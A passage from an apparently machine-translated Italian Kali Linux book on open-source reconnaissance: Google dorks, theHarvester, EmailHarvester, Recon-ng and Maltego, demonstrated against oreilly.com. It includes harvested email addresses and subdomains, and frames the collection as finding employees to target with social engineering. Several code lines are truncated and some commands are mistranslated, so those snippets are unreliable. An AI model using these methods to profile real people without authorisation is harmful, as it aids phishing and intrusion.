hanno evitato siti di social network come TikTok, Facebook, X (Twitter),
Instagram e molti altri hanno ancora una presenza su Internet. Ciò deriva
dal fatto che i registri pubblici sono online, per cominciare. Inoltre,
chiunque abbia avuto un telefono di casa può essere localizzato online. Ciò
include persone che altrimenti non avrebbero molto bisogno di Internet.
Le persone che sono state online per un po' hanno una traccia molto più
lunga. La mia traccia personale è ormai lunga decenni.
Cos'è l'intelligence open source ? Tutto ciò che trovi da una fonte pubblica,
non importa se si tratti di registri governativi che possono essere
considerati pubblici, come transazioni immobiliari, o altre fonti pubbliche
come archivi di mailing list che sono considerate fonti di informazione
aperte. Quando senti open source , potresti pensare al software, ma è
altrettanto applicabile ad altre informazioni. Open source significa
semplicemente che proviene da un luogo in cui è liberamente disponibile.
Questo non include vari siti che forniranno dettagli sulle persone a
pagamento.
La domanda che potresti porti è: perché dovresti usare questa intelligence
open source? Non si tratta di perseguitare le persone. Quando esegui test
di sicurezza, ci possono essere molteplici motivi per usare l'intelligence
open source. Il primo è che puoi raccogliere dettagli su indirizzi IP e nomi
host. Se ti aspetti di testare un'azienda in modalità red team completa,
ovvero sei al di fuori dell'organizzazione e non ti sono stati forniti dettagli
sul tuo obiettivo che cerca di raggiungere obiettivi concordati, devi sapere
cosa stai attaccando. Ciò significa trovare sistemi da colpire. Significa anche
identificare le persone che lavorano nell'azienda, poiché possono essere
alcune delle migliori vie di accesso. L'ingegneria sociale può spesso essere
un modo molto efficace per ottenere l'accesso.
Se lavori per un'azienda come professionista della sicurezza, ti potrebbe
essere chiesto di identificare l'impronta esterna dell'azienda e del
personale di alto livello. Le aziende possono limitare il potenziale di
attacco riducendo la quantità di fuga di informazioni verso il mondo
esterno. Ovviamente, questo non può essere ridotto completamente.
Come minimo, esistono informazioni sui nomi di dominio e sugli indirizzi IP
che possono essere assegnati all'azienda, nonché voci DNS. Se queste
informazioni non fossero pubbliche, i consumatori e altre aziende, come
venditori e partner, non sarebbero in grado di accedervi.
I motori di ricerca possono fornirci molte informazioni e sono un ottimo
punto di partenza. Ma con così tanti siti web su Internet, potresti essere
rapidamente sopraffatto dal numero di risultati che potresti ottenere.
Un'opzione è quella di restringere i termini di ricerca. Sebbene questo non
sia strettamente correlato a Kali e molte persone lo sappiano, è un
argomento importante che vale la pena di esaminare rapidamente.
Quando esegui test di sicurezza, finirai per fare molte ricerche di
informazioni. Utilizzare queste tecniche di ricerca ti farà risparmiare molto
tempo nel tentativo di leggere pagine di informazioni irrilevanti.
Quando si tratta di attacchi di ingegneria sociale, devi sapere chi prendere
di mira, il che significa identificare i dipendenti della tua azienda target. I
siti di social network possono essere utili per raccogliere molte
informazioni sulle persone. LinkedIn può essere una grande miniera di dati
per identificare le aziende e i loro dipendenti. Anche i siti di lavoro possono
fornire molte informazioni sull'azienda. Se vedi un'azienda che cerca
personale con esperienza in Cisco e Microsoft Active Directory, ad esempio,
puoi indovinare il tipo di infrastruttura in atto nell'azienda. Altri social
network come LinkedIn e Facebook possono fornire alcune informazioni su
aziende e persone.
Sono tante le informazioni da cercare. Fortunatamente, Kali fornisce
strumenti per andare a caccia di queste informazioni. I programmi possono
estrarre automaticamente molte informazioni dai motori di ricerca e da
altre posizioni web. Strumenti come theHarvester possono farti
risparmiare un sacco di tempo e sono facili da usare. Un programma come
Maltego non solo estrarrà automaticamente molte informazioni, ma le
visualizzerà anche in un modo che renderà le connessioni più facili da
vedere. Tuttavia, prima di entrare negli strumenti, dovremmo dare
un'occhiata a un modo di base per raccogliere informazioni in modo
efficiente.
Hackeraggio di Google
I motori di ricerca esistevano ben prima che Google nascesse. Tuttavia,
Google ha cambiato il modo in cui funzionava la ricerca e, di conseguenza,
ha superato i siti di ricerca popolari esistenti come AltaVista, Infoseek e
Inktomi, tutti da allora acquisiti o messi fuori mercato. Molti altri motori di
ricerca sono diventati inattivi. Google è stata in grado non solo di creare un
motore di ricerca utile, ma anche di trovare un modo per monetizzare quel
motore di ricerca, consentendo all'azienda di rimanere redditizia e di
rimanere in attività.
Una funzionalità introdotta da Google è un set di parole chiave che gli
utenti possono usare per modificare le loro richieste di ricerca, con il
risultato di un set di pagine più ristretto da guardare. Le ricerche che usano
queste parole chiave sono a volte chiamate Google dorks e l'intero
processo di utilizzo di parole chiave per identificare pagine altamente
specifiche è chiamato Google Hacking . Questo può essere un set di
conoscenze particolarmente potente da avere quando si cerca di
raccogliere informazioni sul proprio target.
Una delle parole chiave più importanti quando si tratta di isolare le
informazioni relative a un target specifico è la parola chiave site :. Quando
la usi, stai dicendo a Google che vuoi solo risultati che corrispondono a un
sito o dominio specifico. Se dovessi usare site:oreilly.com , indicherei che
voglio cercare solo le pagine che appartengono a qualsiasi sito che termina
con oreilly.com . Ciò potrebbe includere siti come blogs.oreilly.com o
www.oreilly.com . Ciò ti consente essenzialmente di agire come se ogni
organizzazione avesse un motore di ricerca Google incorporato nella
propria architettura del sito, tranne per il fatto che puoi usare Google per
cercare su più siti che appartengono a un dominio.
NOTA
Sebbene tu possa agire come se un'organizzazione avesse il suo motore di ricerca, è importante notare
che quando usi questo tipo di tecnica, troverai solo pagine e siti raggiungibili da Internet.
Probabilmente non troverai nemmeno siti raggiungibili da Internet ma non referenziati da nessun'altra
parte su Internet: non troverai nessun sito o pagina intranet. In genere, dovresti essere all'interno di
un'organizzazione per poter raggiungere quei siti. Possono verificarsi delle configurazioni errate e i
crawler dei siti di ricerca dovrebbero conoscere i siti per arrivarci, quindi è possibile che qualcuno crei
un collegamento esterno all'azienda a un sito interno raggiungibile dall'esterno, il che lo esporrebbe
alla scansione da parte di un motore di ricerca. Tuttavia, come regola generale, non troverai dettagli
sui siti interni dall'esterno.
Potresti volerti limitare a specifici tipi di file. Potresti cercare un foglio di
calcolo o un documento PDF. Puoi usare la parola chiave filetype: per
limitare i risultati solo a quelli che sono quel tipo di file. Ad esempio,
potremmo usare due parole chiave insieme per ottenere risultati
dettagliati. Nella Figura 3-1 , la ricerca è per site:oreilly.com filetype:pdf .
Questo ci darà documenti PDF che Google ha identificato su tutti i siti che
terminano con oreilly.com e puoi vedere due siti web elencati nei primi due
risultati.
Figura 3-1. Risultati di Google per tipo di file e ricerca del sito
Potresti prendere in considerazione l'associazione di altre due parole
chiave: inurl: e intext: . La prima cerca nell'URL i tuoi termini di ricerca. La
seconda cerca nel testo i tuoi termini di ricerca. Normalmente, Google
troverebbe corrispondenze tra gli elementi correlati alla pagina. Qui, stai
dicendo a Google che vuoi che limiti dove cercare i tuoi termini di ricerca.
Questo può essere utile se stai cercando pagine che hanno qualcosa come
/cgi_bin/ nell'URL. Puoi anche specificare che Google dovrebbe cercare
solo corrispondenze nel testo della pagina usando intext: seguito dai tuoi
termini di ricerca. Normalmente, Google potrebbe presentare risultati che
non includono tutti i tuoi termini di ricerca. Se vuoi assicurarti di trovare
tutto, usa le parole chiave analoghe allinurl: e allintext: .
Esistono altre parole chiave, che cambiano di tanto in tanto, ad esempio
Google ha eliminato il collegamento: parola chiave. Le parole chiave
precedenti sono alcune delle principali che potresti usare. Tieni presente
che in genere puoi usare diverse di queste parole chiave insieme. Puoi
anche usare la manipolazione di ricerca di base, incluso l'uso di operatori
booleani. Puoi usare AND o OR, ad esempio, per dire a Google che vuoi
includere entrambi i termini che stai cercando (AND) o entrambi i termini
(OR). Puoi anche usare le virgolette per assicurarti di ottenere modelli di
parole nell'ordine corretto. Se volessi cercare riferimenti alla Statua della
Libertà, ad esempio, userei il termine "Statua della Libertà", altrimenti
otterrei pagine che contenevano le parole statua e libertà . Questo
probabilmente ti darà un sacco di pagine che semplicemente non vuoi.
MANCIA
Un altro aspetto da notare della ricerca su Google è che esiste un database di query di ricerca utili. Si
tratta del Google Hacking Database avviato nel 2004 da Johnny Long, che ha iniziato a raccogliere
termini di ricerca utili o interessanti nel 2002. Attualmente, il Goo g le Hacking Database è ospitato su
exploit-db.com . I dork sono gestiti per categorie e ci sono molte parole chiave interessanti che potresti
usare mentre esegui test di sicurezza per un'azienda. Puoi prendere qualsiasi termine di ricerca che
trovi nel database e aggiungere site: seguito dal nome di dominio. Quindi troverai pagine
potenzialmente vulnerabili e informazioni sensibili usando Google Hacking.
Un'ultima parola chiave che puoi usare, anche se potresti essere limitato
nel momento in cui potresti usarla, è cache: . Puoi estrarre una pagina
dalla cache di ricerca di Google per vedere come appariva l'ultima volta
che Google l'ha memorizzata nella cache. Poiché non puoi controllare la
data che stai cercando, questa parola chiave potrebbe non essere utile
quanto la Wayback Machine in termini di risultati della cache che puoi
ottenere. Tuttavia, se un sito è inattivo per qualsiasi motivo, puoi estrarre
le pagine da Google. Tieni presente, tuttavia, che se fai riferimento alla
cache di Google perché il sito è inattivo, non puoi fare clic sui link nella
pagina perché faranno comunque riferimento al sito che è inattivo.
Dovresti usare di nuovo la parola chiave cache: per recuperare quella
pagina. La parola chiave cache: ti fornirà la versione più recente del sito
Web memorizzata nella cache. I risultati ti diranno quando è stata
archiviata la copia più recente memorizzata nella cache. Quando l'ho
testata con il sito Web di O'Reilly, ho ricevuto una copia che aveva solo un
paio d'ore. Alcuni siti potrebbero essere memorizzati nella cache meno
frequentemente di altri. Sebbene tu possa usare questa parola chiave per
fare riferimento a un sito web, usarla con URL diretti potrebbe essere più
utile. Se hai un URL che fa riferimento a una pagina specifica, puoi usare
l'URL per estrarlo dalla cache di Google.
Automazione dell'acquisizione delle informazioni
Tutte queste ricerche possono richiedere molto tempo, soprattutto se devi
passare attraverso molte query per ottenere quanti più risultati possibili.
Fortunatamente, possiamo usare gli strumenti in Kali per ottenere risultati
rapidamente. Il primo strumento che esamineremo è theHarvester .
Questo è un programma che può usare più fonti per cercare dettagli.
Questo include non solo Baidu, Bing e DuckDuckGo, popolari provider di
ricerca, ma anche diversi siti di ricerca orientati alla sicurezza come
ThreatMiner, un sito per l'intelligence sulle minacce, e DNSDumpster, che
viene usato per cercare dati DNS.
In precedenza, theHarvester poteva essere utilizzato per localizzare
informazioni sulle persone, poiché poteva essere utilizzato per cercare
chiavi Pretty Good Privacy (PGP), che crittografano e-mail e altri dati.
Inoltre, theHarvester può anche cercare su LinkedIn. Sebbene sia molto
meno utile per trovare indirizzi e-mail associati a un dominio, è molto
efficace nell'identificare indirizzi IP e nomi di dominio completamente
qualificati (FQDN) associati a un nome di dominio. È possibile che lo
strumento sia ancora efficace nel trovare indirizzi e-mail, poiché l'output
suggerisce che li cerca, ma nessun indirizzo e-mail è stato trovato durante
la ricerca del dominio appartenente a O'Reilly.
Nell'esempio 3-1 , stiamo cercando FQDN per oreilly.com usando
theHarvester e la fonte dati sitedossier. Diverse fonti dati forniranno
risultati diversi e alcune fonti di intelligence open source potrebbero
fornire un lungo elenco di FQDN associati a oreilly.com . Questa ricerca ha
restituito 200 risultati, anche se se la eseguissi tu stesso, potresti ottenere
risultati diversi poiché i sistemi pubblici e i loro indirizzi IP associati non
sono statici. L'output qui è stato modificato per lunghezza in modo da
poter vedere come appaiono le diverse sezioni dell'output.
Esempio 3-1. Risultati del dossier del sito theHarvester
┌──(kilroy@badmilo)-[~]
└─$ theHarvester -b sitedossier -d oreilly.com
Leggi proxies.yaml da /home/kilroy/.theHarveste
*************************************************
* _ _
* | |_| |__ ___ /\ /\__ _ _ ____ _____ _
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/
* | |_| | | | __/ / __ / (_| | | \ V / __/\_
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||_
*
*
ilMietitore 4.6.0
*
Codificato da Christian Martorella
*
Ricerca sulla sicurezza dei bordi
*
cmartorella@edge-security.com
*
*********************************************
****
[*] Destinazione: oreilly.com
Il mio iter_url attuale:
http://www.sitedossier.com/p
Il mio iter_url attuale:
http://www.sitedossier.com/p
In totale trovati: 200
{'security.oreilly.com', 'ofps3.vz.oreilly.com',
'corporate.oreilly.com', 's.radar.oreilly.com',
'access.safari.oreilly.com', 'opengovernment.labs
'register.oreilly.com', 'ajax.oreilly.com',
'porta
'beautifulcode.wiki.oreilly.com', 'libraries.orei
'ormstore-staging.oreilly.com', 'programmazionescal
'm.bookworm.oreilly.com', 'news.oreilly.com', 'ah
'macruby.labs.oreilly.com', 'nutshells.oreilly.co
'mediaservice.oreilly.com', 'stats.oreilly.com',
'scifoo13.wiki.oreilly.com', 'agiledev.97things.o
'conferenza.oreilly.com', 'comunità.toc.oreilly
'dev-blogs.oreilly.com', 'ignite.oreilly.com', 'b
'rails-nutshell.labs.oreilly.com',
<snip> [*] Ricerca in
Sitedossier.
[*] Nessun IP trovato.
[*] Nessuna email trovata.
[*] Host trovati: 199
--------------------97things.oreilly.com
accademic.oreilly.com
access.safari.oreilly.com
actionscript.oreilly.com
admin.members.oreilly.com
agiledev.97things.oreilly.com
ajax.oreilly.com
akamaicovers.oreilly.com
amazon.oreilly.com
androidcookbook.oreilly.com
animali.oreilly.com fastidi.oreilly.com
risposte.oreilly.com
risposte.oreilly.com.
rispostestage.oreilly.com
apache.oreilly.com
aprenticeshippatterns.labs.oreilly.com
aprenticeship.oreilly.com
architect.97things.oreilly.com
asset.en.oreilly.com asset.oreilly.com
atom.oreilly.com beautifulcode.wiki.oreilly.com
bio.oreilly.com blogs.oreilly.com
L'esempio 3-2 mostra i risultati dell'utilizzo del motore di ricerca
DuckDuckGo, che non fornisce tanti elenchi come sitedossier. Mentre i siti
che sono più mirati alla ricognizione e alla raccolta di informazioni
forniscono decine di risultati, DuckDuckGo afferma di aver trovato nove
ospita ne elenca però solo cinque.
Esempio 3-2. Risultati di theHarvester DuckDuckGo
┌──(kilroy@badmilo)-[~]
└─$ theHarvester -d oreilly.com -b duckduckgo
*************************************************
* _ _
* | |_| |__ ___ /\ /\__ _ _ ____ _____ _
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/
* | |_| | | | __/ / __ / (_| | | \ V / __/\_
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||_
*
* ilMietitore 4.3.0
* Codificato da Christian Martorella
* Ricerca sulla sicurezza dei bordi
* cmartorella@edge-security.com
*
*************************************************
[*] Target: oreilly.com
[*] Searching Duckduckgo.
[*] No IPs found.
[*] No emails found.
[*] Hosts found: 9
--------------------conferences.oreilly.com
learning.oreilly.com
oreilly.com
radar.oreilly.com
toc.oreilly.com
Poiché ciascuna delle fonti di theHarvester utilizza una tecnica diversa per
raccogliere informazioni, è utile cercarne molte. Nell'esempio 3-3 , puoi
vedere un semplice script Python che verrà eseguito tramite alcuni
provider, dato un nome di dominio fornito sulla riga di comando. Questo
script potrebbe essere notevolmente potenziato se fosse destinato a
essere utilizzato da più utenti che non necessariamente ne capissero il
funzionamento. Per il mio uso personale, tuttavia, funziona perfettamente.
Ciò che dovresti ottenere è un certo numero di file, sia XML che HTML, per
ciascuno dei provider che hanno restituito risultati.
Esempio 3-3. Script per la ricerca tramite theHarvester
#!/usr/bin/python
import sys
import os
if len(sys.argv) < 2:
sys.exit(-1)
providers = [ 'duckduckgo', 'bing', 'baidu', 'dns
for a in providers:
cmd = 'theHarvester -d {0} -b {1} -f {2}.html
os.system(cmd)
Il ciclo for è un modo per continuare a chiamare theHarvester con provider
diversi a ogni passaggio del ciclo. Poiché theHarvester può generare output
in file, non dobbiamo raccogliere l'output diretto da questo script. Invece,
nominiamo semplicemente ogni file di output in base al provider. Se vuoi
aggiungere o modificare i provider, puoi modificare l'elenco. Potresti non
voler controllare con googleprofiles , ad esempio. Potresti voler aggiungere
Yahoo. Modificando semplicemente la riga providers otterrai risultati
aggiuntivi, a seconda delle tue esigenze.
LinkedIn può essere una buona fonte di informazioni. Puoi cercare su
LinkedIn con uno strumento chiamato Crosslinked, che è disponibile ma
non fa parte del repository Kali Linux. Poiché vogliamo solo vedere cosa è
disponibile in Kali, non lo esamineremo. Poiché siamo limitati in termini di
strumenti disponibili per scavare in LinkedIn, una ricerca nel repository del
pacchetto Kali Linux fa emergere un altro strumento, EmailHarvester .
Nell'esempio 3-4 , useremo questo strumento per cercare indirizzi email in
LinkedIn. Un dettaglio che vedrai nell'output è il numero di risultati, anche
se tutto ciò che ci rimane sono due indirizzi email. Questo è probabilmente
il risultato delle limitazioni sui risultati restituiti dall'esecuzione di ricerche
programmatiche. La fonte dati restituisce solo un numero limitato di
risultati, che è ciò che è indicato qui, piuttosto che il numero effettivo di
indirizzi email individuati.
Esempio 3-4. Utilizzo di EmailHarvester per cercare su LinkedIn
──(kilroy@badmilo)-[~]
└─$ emailharvester -d oreilly.com -e linkedin
[+] User-Agent in uso: Mozilla/5.0 (Windows NT 6
Firefox/40.1
[+] Ricerca su Linkedin
[+] Ricerca in Yahoo + Linkedin: 101 risultati
[+] Ricerca in Bing + Linkedin: 50 risultati
[+] Ricerca in Bing + Linkedin: 100 risultati
[+] Ricerca su Google + Linkedin: 100 risultati
[+] Ricerca in Baidu + Linkedin: 10 risultati
[+] Ricerca in Baidu + Linkedin: 20 risultati
[+] Ricerca in Baidu + Linkedin: 30 risultati
[+] Ricerca in Baidu + Linkedin: 40 risultati
[+] Ricerca in Baidu + Linkedin: 50 risultati
[+] Ricerca in Baidu + Linkedin: 60 risultati
[+] Ricerca in Baidu + Linkedin: 70 risultati
[+] Ricerca in Baidu + Linkedin: 80 risultati
[+] Ricerca in Baidu + Linkedin: 90 risultati
[+] Ricerca in Baidu + Linkedin: 100 risultati
[+] Ricerca in Exalead + Linkedin: 50 risultati
[+] Ricerca in Exalead + Linkedin: 100 risultati
[+] Email trovate: 2
2522@oreilly.com
22@oreilly.com
Molte altre fonti possono essere utilizzate in EmailHarvester . L'esempio 35 mostra i risultati ottenuti utilizzando tutte le fonti disponibili in
EmailHarvester . L'elenco era esteso ed è stato ridotto per risparmiare
spazio qui.
Esempio 3-5. Utilizzo di EmailHarvester con tutte le origini
┌──(kilroy@badmilo)-[~]
└─$ emailharvester -d oreilly.com
[+] User-Agent in uso: Mozilla/5.0 (Windows NT 6
Firefox/40.1
[+] Cercando ovunque
[+] Ricerca su Instagram
[+] Ricerca in Yahoo + Instagram: 101 risultati
[+] Ricerca in Bing + Instagram: 50 risultati
[+] Ricerca in Bing + Instagram: 100 risultati
[+] Ricerca su Google + Instagram: 100 risultati
[+] Ricerca in Baidu + Instagram: 10 risultati
[+] Ricerca in Baidu + Instagram: 20 risultati
[+] Ricerca in Baidu + Instagram: 30 risultati
[+] Ricerca in Baidu + Instagram: 40 risultati
[+] Ricerca in Baidu + Instagram: 50 risultati
[+] Ricerca in Baidu + Instagram: 60 risultati
[+] Ricerca in Baidu + Instagram: 70 risultati
[+] Ricerca in Baidu + Instagram: 80 risultati
[+] Ricerca in Baidu + Instagram: 90 risultati
[+] Ricerca su Baidu + Instagram: 100 risultati
[+] Ricerca in Exalead + Instagram: 50 risultati
[+] Ricerca in Exalead + Instagram: 100 risultati
[+] Ricerca su Yahoo: 101 risultati
[+] Ricerca in ASK: 10 risultati
[+] Ricerca in ASK: 20 risultati
[+] Ricerca in ASK: 30 risultati
[+] Ricerca in ASK: 40 risultati
[+] Ricerca in ASK: 50 risultati
[+] Ricerca in ASK: 60 risultati
[+] Ricerca in ASK: 70 risultati
[+] Ricerca in ASK: 80 risultati
[+] Ricerca in ASK: 90 risultati
[+] Ricerca in ASK: 100 risultati
[+] Ricerca in Baidu: 10 risultati
[+] Ricerca su Baidu: 20 risultati
[+] Ricerca su Baidu: 30 risultati
[+] Ricerca su Baidu: 40 risultati
[+] Ricerca su Baidu: 50 risultati
[+] Ricerca su Baidu: 60 risultati
[+] Ricerca su Baidu: 70 risultati
[+] Ricerca su Baidu: 80 risultati
[+] Ricerca su Baidu: 90 risultati
[+] Ricerca su Baidu: 100 risultati
[+] Ricerca su Twitter
[+] Ricerca su Baidu + Reddit: 30 risultati
[+] Ricerca su Baidu + Reddit: 40 risultati
[+] Ricerca su Baidu + Reddit: 50 risultati
[+] Ricerca su Baidu + Reddit: 60 risultati
[+] Ricerca su Baidu + Reddit: 70 risultati
[+] Ricerca su Baidu + Reddit: 80 risultati
[+] Ricerca su Baidu + Reddit: 90 risultati
[+] Ricerca su Baidu + Reddit: 100 risultati
[+] Ricerca in Exalead + Reddit: 50 risultati
[+] Ricerca in Exalead + Reddit: 100 risultati
[+] Emails found: 20
mercedes@oreilly.com
22@oreilly.com
rmendana@oreilly.com
pixel-1687721587520467-web-@oreilly.com
adoption@oreilly.com
santiagocancino@oreilly.com
workwithus@oreilly.com
booktech@oreilly.com
orders@oreilly.com
permissions@oreilly.com
andrewc@oreilly.com
Info@oreilly.com
odewahn@oreilly.com
support@oreilly.com
2522@oreilly.com
pixel-1687721585523016-web-@oreilly.com
corporate@oreilly.com
2B@oreilly.com
bookquestions@oreilly.com
acmsales@oreilly.com
indirizzi per noi, e la maggior parte non sembra essere correlata a individui.
Questi risultati potrebbero non essere poi così utili per eseguire test di
sicurezza, però. Ciò potrebbe significare che dobbiamo usare le vecchie
ricerche tramite l'interfaccia web di siti come LinkedIn anziché usare gli
strumenti di Kali Linux.
Ricognizione
Sebbene Recon-ng riguardi anche l'automazione della raccolta dati, è
abbastanza profondo da avere una sua sezione. Recon-ng è un framework
e utilizza moduli per funzionare. È stato sviluppato come un modo per
eseguire la ricognizione contro obiettivi e aziende tramite la ricerca nelle
fonti. Alcune di queste fonti richiederanno l'accesso programmatico al sito
in cui si sta eseguendo la ricerca. Questo vale per X (Twitter), Instagram,
Google, Bing e altri. Una volta acquisita la chiave, è possibile utilizzare i
moduli che richiedono l'accesso alle API. Fino ad allora, ai programmi è
impedito di interrogare tali fonti. Ciò consente a questi siti di assicurarsi di
sapere chi sta tentando di interrogare. Quando si ottiene una chiave API, è
necessario avere un accesso al sito e fornire una sorta di conferma della
propria identità. Quando si ottiene una chiave API da X, ad esempio, è
necessario avere un numero di cellulare associato al proprio account e tale
numero di cellulare viene convalidato.
La maggior parte dei moduli che useresti per fare la tua ricognizione
richiederà chiavi API. Se ci concentriamo di nuovo su LinkedIn, Recon-ng
usa una chiave API dal motore di ricerca Bing per cercare informazioni da
LinkedIn. Sfortunatamente, ottenere una chiave API per cercare su Bing
significa che devi ottenere una risorsa Azure da Microsoft. Ciò richiederà
che tu abbia un account Azure e che ti vengano fatturate tutte le risorse di
elaborazione che usi mentre esegui le ricerche. Questo potrebbe essere
più di quanto desideri fare, dato che ci sono altri modi per trovare le
informazioni gratuitamente. L'esempio 3-6 mostra come ottenere moduli
da usare in Recon-ng.
Esempio 3-6. Installazione dei moduli in Recon-ng
[*] Nessun modulo abilitato/installato.
[recon-ng][default] > marketplace search linkedin
[*] Ricerca nell'indice del modulo per
'linkedin'...
+--------------------------------------------------| Percorso | Versione | S
+------------------------------------------- |
recon/companies-contacts/ ↩ bing_linkedin_cache
| 1.0 | non i | recon/profiles-contacts/ ↩
bing_linkedin_contacts | 1.2 | non i +-------------------------------------------D = Ha dipendenze. Vedi info per i dettagli.
K = Richiede chiavi. Per i dettagli, vedere le
informazioni.
[recon-ng][default] > marketplace install recon/
profiles-contacts/bing_linkedin_contacts [*]
Modulo installato: recon/profiles-contacts/bin
[*] Ricaricamento moduli... [!] Chiave 'bing_api'
non impostata. bing_linkedin_contact in fase di
esecuzione. Vedere 'keys add'.
Recon-ng usa i contesti per determinare quali comandi sono disponibili e
cosa significano i contesti. Devi caricare un modulo prima di usarlo. Devi
anche avere le chiavi al loro posto. Possiamo guardare il modulo
recon/domains-contacts/hunter_io , poiché anche lo script InSpy
richiedeva quella chiave API. L'esempio 3-7 mostra i passaggi necessari per
usare quel modulo. Innanzitutto, dobbiamo installarlo dal marketplace,
poiché nessun modulo viene caricato di default. Quindi, dobbiamo caricare
il modulo e usarlo. Una volta che lo abbiamo usato, siamo nello spazio di
contesto per il modulo. Richiede che venga impostata una variabile
SOURCE , poiché questa è l'informazione che si sta cercando. Per noi, è un
nome di dominio. Esempio 3-7. Usare Recon-ng per cercare i contatti del
dominio
[recon-ng][default] > installazione del
marketplace recon/d
[*] Modulo installato: recon/domainscontacts/hunt [*] Ricaricamento moduli...
[recon-ng] [default]> i tasti aggiungono Hunter_io
4ee56b9b
[*] Aggiunta la chiave 'hunter_io'.
[recon-ng][default] > moduli caricano
recon/domini
[recon-ng] [default] [hunter_io] > info
Nome: Hunter.io Indirizzo email Harvester
Autore: Super Choque (@aplneto)
Versione: 1.3
Chiavi: hunter_io
Descrizione:
Utilizza Hunter.io per trovare indirizzi email da
regalare
Opzioni:
Nome Valore corrente Obbligatorio Descrizione
------ ------------- -------- ----------CONTA 10 sì Limita la quantità
(10 = Acc gratuito
SOURCE predefinito sì origine di input
Opzioni di origine:
default SELECT DISTINCT domain FROM doma <string>
stringa che rappresenta un singolo inp <path>
percorso a un file contenente un elenco query
<sql> query del database che restituisce una
colonna [recon-ng][default][hunter_io] > opzioni
impostate SOUR
SOURCE => oreilly.com
[recon-ng][default][hunter_io] > run
Quando esegui i moduli, stai popolando un database gestito da Recon-ng.
Ad esempio, nel processo di esecuzione di un modulo PGP, ho acquisito
nomi e indirizzi e-mail. Questi sono stati aggiunti al database dei contatti
all'interno di Recon-ng. Puoi usare il comando show per elencare tutti i
risultati che sei riuscito a ottenere. Puoi anche usare i moduli di reporting.
Con un modulo di reporting, puoi prendere il contenuto dei tuoi database
con tutto ciò che contengono ed esportare tutti i risultati in un file. Questo
file può essere XML, HTML, CSV, JSON o un paio di altri formati. Dipende
interamente dal modulo di reporting che scegli. Nell'esempio 3-8 , puoi
vedere che è stato scelto il modulo di reporting JavaScript Object Notation
(JSON). Le opzioni ti consentono di selezionare le tabelle dal database da
esportare. Puoi anche scegliere dove vuoi mettere il file. Una volta
impostate le opzioni, anche se quelle mostrate sono predefinite, puoi
semplicemente eseguire il modulo e i dati verranno esportati.
Esempio 3-8. Modulo di reporting di riconciliazione
[recon-ng][default] > i moduli caricano
report/json
[recon-ng] [default] [json] > info
Nome: Generatore di report JSON
Autore: Paul (@PaulWebSec)
Versione: 1.0
Descrizione:
Crea un report JSON.
Opzioni:
Nome Valore corrente Requisito
-------- ------------- --- NOME FILE
/home/kilroy/.recon-ng/ ↩ sì workspaces/
default/results.json TABELLE host, contatti,
credenziali SÌ
[recon-ng] [default] [json] > esegui
[*] 223 record aggiunti a '/home/kilroy/.reconng/
[recon-ng][predefinito][json] >
Recon-ng supporta gli spazi di lavoro, il che significa che puoi
compartimentare i tuoi dati. Puoi manipolare i dati direttamente nel
database. Ad esempio, se hai 27 contatti nella parte contacts del database,
potresti eseguire db delete contacts 1-27 , che eliminerebbe le righe 1–27.
Ciò richiede l'esecuzione di una query sul database per vedere tutte le
righe e determinare i numeri di riga. L'esecuzione della query è semplice
come usare show contacts . Utilizzando Recon-ng, hai molte capacità, che
continueranno a cambiare nel tempo. Man mano che più risorse diventano
disponibili e gli sviluppatori trovano modi per estrarre dati da esse, potresti
aspettarti che diventino disponibili nuovi moduli.
Maltese
Poiché torno indietro di molti anni ai giorni in cui le GUI non esistevano,
sono un tipo da riga di comando. Certamente, molti strumenti da riga di
comando possono essere usati in Kali. Alcune persone sono persone da
GUI, però. Abbiamo esaminato molti strumenti finora in grado di ottenere
molti dati da fonti aperte. Un vantaggio che non otteniamo dagli strumenti
che abbiamo usato finora è una facile comprensione di come le
informazioni si relazionano tra loro. Inoltre, non abbiamo un modo rapido
e semplice per passare a un'altra informazione da un dato che abbiamo.
Possiamo prendere l'output del nostro elenco di contatti da theHarvester o
Recon-ng e quindi immettere quell'output in un altro modulo o in un altro
strumento, ma potrebbe essere più semplice selezionare semplicemente
un'informazione e quindi eseguire quell'altro modulo su quei dati.
Ecco dove entra in gioco Maltego . Questo programma basato su GUI
esegue alcune delle stesse attività che abbiamo già svolto. La differenza
con Maltego è che possiamo guardarlo in un formato basato su grafici,
quindi tutte le relazioni tra le entità sono mostrate chiaramente.
Una volta che abbiamo una selezione di entità, possiamo acquisire ulteriori
dettagli da quelle entità. Questo può quindi condurci a maggiori dettagli,
che possiamo usare per ottenere maggiori dettagli, e così via.
Prima di addentrarci troppo nell'analisi di Maltego, dobbiamo capire la
terminologia in modo da sapere cosa stiamo osservando. Maltego utilizza
le trasformazioni per eseguire il lavoro. Una trasformazione è un pezzo di
codice, scritto nel Maltego Scripting Language (MSL), che utilizza una fonte
dati per creare un'entità da un'altra. Diciamo, ad esempio, che hai
un'entità hostname. Potresti applicare una trasformazione per creare una
nuova entità che contiene l'indirizzo IP collegato all'entità hostname. Come
notato in precedenza, Maltego presenta le sue informazioni in forma di
grafico. Ogni entità sarebbe un nodo nel grafico.
Useremo la community edition di Maltego perché è inclusa in Kali, anche
se Paterva fornisce una versione commerciale. La community edition limita
le trasformazioni che possiamo installare in Maltego. La versione
commerciale ha molte più trasformazioni da fonti diverse. Detto questo,
possiamo comunque installare diverse trasformazioni con la community
edition. Puoi vedere l'elenco dei bundle di trasformazioni nella Figura 3-2 .
Figura 3-2. Trasformazioni disponibili nell'edizione community Maltego
Il motore di Maltego sono le trasformazioni installate. Tuttavia, non devi
fare tutto il lavoro da solo applicando una trasformazione dopo l'altra.
Questo viene fatto tramite una macchina , che può essere creata per
applicare le trasformazioni da un punto di partenza. Ad esempio, possiamo
ottenere l'impronta di un'azienda. La macchina che farà il lavoro per noi
include trasformazioni che eseguono ricerche DNS e trovano connessioni
tra sistemi. La macchina Footprint L3 esegue trasformazioni ottenendo i
record del mail exchanger e del name server in base a un dominio fornito.
Da lì, ottiene gli indirizzi IP dai nomi host ed esegue ulteriori ramificazioni,
cercando nomi host e indirizzi IP correlati e associati. Per avviare una
macchina, fai clic sul pulsante Esegui macchina, seleziona la macchina che
vuoi eseguire e quindi fornisci le informazioni richieste dalla macchina.
Nella Figura 3-3 , puoi vedere la finestra di dialogo che avvia una macchina
e sopra vedrai la scheda Macchine con il pulsante Esegui macchina.
